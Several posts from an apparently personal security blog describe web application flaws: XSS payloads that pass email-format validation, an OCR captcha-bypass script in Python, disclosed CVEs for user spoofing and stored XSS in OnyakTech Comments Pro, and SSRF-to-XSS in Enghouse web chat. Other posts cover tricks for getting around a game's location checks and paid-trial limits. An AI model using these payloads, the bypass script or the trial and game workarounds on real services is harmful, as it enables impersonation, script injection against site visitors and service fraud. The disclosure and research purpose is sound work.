Showing posts with label application logic. Show all posts
Showing posts with label application logic. Show all posts

Wednesday, December 28, 2022

Input-Format-Depedent-XSS: Restrictions Are Your Best Friend!

Recently, I had a stubborn form where I attempted XSS in the free text fields, without success. Eventually, I also started looking at other input fields on the form that required stricter input formatting, such as phone number, SSN, address, etc.

Of course, the email field only accepts input containing an email address...! So, I tried an XSS payload containing a valid email, like:

<sCript>alert('burninatorsec@defcon.org')</scRipt>

And it works!

But why?

The validation logic is actually what is reflecting the XSS in the page. Therefore I wouldn't have been able to succeed without the input restriction! It didn't make XSS harder, it made it possible. Furthermore, automated vulnerability scanning tools that don't adjust their behavior to the expected input format based on business context won't find XSS issues like these, they will just dumbly try a bunch of standard payloads. My job is safe for another day.

How do these kind of vulnerabilities happen?

Likely the developer was playing fast and loose with regex, because it's clearly not matching in a way that forces a pattern exclusively (for example, maybe they are missing the "starts with"/"ends with" pattern matching characters). Or maybe they're not using a framework or library with built-in data formatting requirements. Just guessing, but that's the kind of mistake I would have made when I was a dev, and now I get to use it for hacking!

Also, consider that devs will often focus their time and energy on EITHER QA/business logic validation OR security validation, but not usually both. It's counterintuitive, but that's how restrictions can actually help hackers. 

So, at the risk of sounding too Sun-Tzu-Art-of-War: when you use your limitations to your advantage, then you have none.



 

Friday, November 18, 2022

Captcha Bypass Using Tesseract OCR and Python


import cv2
import pytesseract
from urllib.request import urlopen
import numpy as np
from bs4 import BeautifulSoup
import requests
import urllib.parse
import re

#burninator August 2022

#captcha bypass: by hitting the validation check API directly PLUS using OCR AI library to read the captcha


#contact_check_page = requests.get('https://ip-lookup.net/')

#testRegexTheCode = '/RECAPTCHACODE/RECAPTCHA.png'
#x = re.findall("[0-9]+",testRegexTheCode)
#print(str(x[0]))

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'}


# STEP ONE - get the recaptcha image text value first, before the .cgi check (order matters!)

#thesoupson = open('TARGET/TARGET.htm', 'r')
thesoupofcontact = requests.get('TARGET/', headers=headers) #also tested and working
thesoupson = thesoupofcontact.text
#for line in thesoupson:
#    print (str(line))

soup = BeautifulSoup(thesoupson, "html.parser")
images = soup.findAll('img')
for image in images:
    if ('recaptcha.png' in image['src']):
        print(str('target captcha ' + image['src']))
        targetCaptcha = image['src']
        recaptchaCodeMatch = re.findall("[0-9]+",targetCaptcha)
        print(str(recaptchaCodeMatch[0]))
        fromRecaptchaUrl = recaptchaCodeMatch[0]

#thesoupson.close()

pytesseract.pytesseract.tesseract_cmd = r'C:\PROGRA~1\Tesseract-OCR\tesseract.exe' #set env vars here because... MEH!

# Loading image using OpenCV
req = urlopen('https://TARGET+targetCaptcha)
arr = np.asarray(bytearray(req.read()), dtype=np.uint8)

img = cv2.imdecode(arr, -1)

#cv2.imshow('lalala', img)
if cv2.waitKey() & 0xff == 27: quit()

#img = cv2.imread('recaptcha.png')

# Converting to text
answerToRecaptcha = pytesseract.image_to_string(img)

print(str("this is the captcha text TEEHEE!" ) + answerToRecaptcha)

#STEP TWO - get the CGI value - usually loaded from Javascript from the
#CGI request is tested and working, tho i just added that cgisouprequestvar:
cgisouprequest = requests.get('https://TARGET/check.cgi')
cgisoup = cgisouprequest.text
print(cgisoup)

#cgisoup = open('TARGET/contact_check.cgi', 'r')
soupses = BeautifulSoup(cgisoup, "html.parser")
inputs = soupses.findAll('input')
for input in inputs:
    print (str(input['value']))
    thevalue = str(input['value'])

#cgisoup.close()

encodeme = urllib.parse.quote(thevalue, safe="")


contactCheckValue = encodeme
print(str(contactCheckValue))

#STEP THREE - build out the POST request with the stuff with the two variables + that same randomized User-Agent string

# also consider building this into either a Burp extension or Turbo Intruder (most likely an extension since it allows calling python modules or other treats from the path)

Wednesday, July 28, 2021

OnyakTech Comments Pro - Broken Encryption and XSS CVE-2021-33484 and CVE-2021-33483

 

Broken Encryption / User Spoofing (CVE-2021-33484)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33484

 

This exploit involves downloading an DotNetNuke module installer for OnyakTech Comments Pro 3.8 and de-compiling it with a tool like JustDecompile. NOTE: it is no longer available for download to my knowledge. 

Comments Pro is used for adding comment section functionality to a site.

After decompiling the installer, I find that one of the code files has an intriguing name like "encryption". This has an IV vector hardcoded in it, woo!

 

 

But where is the encryption key? We need both in order to do a nefarious enough POC. Well, luckily the requests made to the "CommentsService.ashx" endpoint involve two values, one of which is a JSON field called "key" and one called "displayname". Both appear to be encrypted: 


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment':'definitely fine don't worry about it',

‘func’:’addcomment’

}


I notice that when I throw junk values into the "displayname" value, it will throw an error like "Encryption: The input is not a valid Base-64 string", which is displayed where my display name should be:



This tells me I may be able to control decryption from the client side. So, if I wanted to decrypt it to see what the value of the key is - and I sure do - then I can make that the new value for "displayname" and, voila, there's the key displayed on the page!


 

Now that I have the IV, the key, and even the functions in the source code that show how the encryption and decryption is done, let's use it to do something we're not supposed to do. The goal : to spoof users. Even though the application required a login for most areas, this module seemed to ignore it, so I was able to add (spoofed) comments or add/delete my own or others' comments without authentication. By combining these issues with an unrelated user enumeration issue in DotNetNuke, I can encrypt any user's name and their user ID in the request to spoof a given user. It will even pull in their actual profile image (based on their user ID), so it will look legit.


I recently went to get beer with my local DEFCON group (in person - vax for hax!) When I described this out loud, I realized I was having a hard time thinking of a remediation for this type of attack in general. After all, "where to hide the encryption iv/ keys?" is an old problem. But the reverse engineer I was talking to mentioned that the Windows API has it's own encryption that an app could use. I really liked the idea, because it moves control to a deeper layer, to the OS instead of the app. In this particular case, I didn't compromise the server, so the trick of de-compiling would, theoretically, have been foiled by a move like that.


Stored XSS (CVE-2021-33483) 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33483


In the request to the "add comment" endpoint described above, drop in a double {{ to escape the JSON for your XSS payload. When another user visits the page containing the comment with the payload, it will execute.

 

i.e.


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment': '{{ <sCript>prompt(800)</sCript>',

‘func’:’addcomment’

}


Wednesday, September 2, 2020

CVE-2020-13972 - XSS via SSRF in Enghouse/Zeacom web chat

Here's a chained attack of a known SSRF issue (CVE-2019-16948 / CVE-2019-16951 ) in order to get XSS in Enghouse Web Chat 6.2.284.34.

When an attacker enters their own URL in the WebServiceLocation parameter, the response from the POST request is displayed by the application client side, and any JavaScript returned from the external server is executed in the browser.


For example, the attacker injects their URL (ending in /ooowee):


The endpoint at /ooowee is returning a XSS payload as a POST response (using mdonkers script from GitHub for a quick server to spin up):

The XSS payload pops for the client:




Wednesday, July 3, 2019

Location-based Mobile Game Workaround

Here is a way to obtain items on-the-go while playing a popular location-based mobile game. Frequently I find that as a car passenger, I can use the game for some things at high speeds, but the actual stops/locations that offer the monetized items don't allow me to keep the items even if I manage to select them while driving by. It's important to me to be able to do this, because I don't want to spend money on the game and I live in a rural area that doesn't have a lot of these stops. However, if I turn my location services off while passing one of these locations, I'm able to receive the items! On a few occasions, I've even been able to "sit" on it with the location off, “exit” the shop in-game, then once the timer renews, select it again to collect more items later, no matter where I physically am. In this way I can play the game for free and conveniently without having to park at specified locations. (Note that location spoofing has become more difficult without having to root your phone or download old sketchy versions of services, which could be a security hazard.)




I will edit this to include details if they end up patching it…

Saturday, July 28, 2018

Displaying API Keys Client Side

... is a bad idea.

I was pen testing for a friend, and found that most of the application logic was done client-side, which included a REST call to an API. I generally expect sensitive things like keys, app secrets, etc. to be only called server side in non publicly visible code, or at least reference a configuration file with the proper permissions. It is too easy to hijack someone else's API and either run up the bill, or the API limit, or else misuse it in a destructive way (for example, for the Google custom site image search API, one could use the admin console to limit the custom sites to only not-so-nice images, or an image from a server that lies about the MIME type and returns files with malicious code embedded, etc.)

This will probably happen more and more with the widespread use of APIs, specifically for services directly displayed to the user, such as maps or images, since it is tempting and convenient to just call the API directly client-side.

Sunday, July 15, 2018

Customer Support Forum & Trial Workaround

This exploit will leverage the power of a customer support discussion forum. Support teams can give so much advice on how application logic works when troubleshooting user issues, they can unintentionally help out if your exploit is not working. Reading old archives of these discussions can be a great resource, both for application logic and helpful links.

In this case, I was wondering if I had other options for the trial versions of a service. Yes, there's a premium service for 1 week, and a standard service for 1 year... but can I hack it to get a trial they don't offer? The premium for 1 year? Yes.

At first, I signed up for the standard tier trial for 1 week. After some googling, I came across a support forum with an old link to a page they no longer supported. (Since the company was bought by another, the users are now encouraged to go through the parent company's site to be able to get the special 1 year offer... but the user registration process is much harder, requiring a service plan, account number, etc.) So, instead, I used the defunct page to get a link to the premium 1 year service, while still logged in with the other trial. It didn't seem to work at first. Then I found the customer service thread describing how the service must be inactivated before the new one could start. So I did that, and watched the subscription end date of my trial reset. Success!

Keep in mind, this hack doesn't seem to be active anymore. After all, a year is PLENTY of time for development to patch a fix!

UPDATE: It actually is still active... sign up for the short trial, then reuse a URL parameter from the first trial's URL in the longer trial, which references the partner company.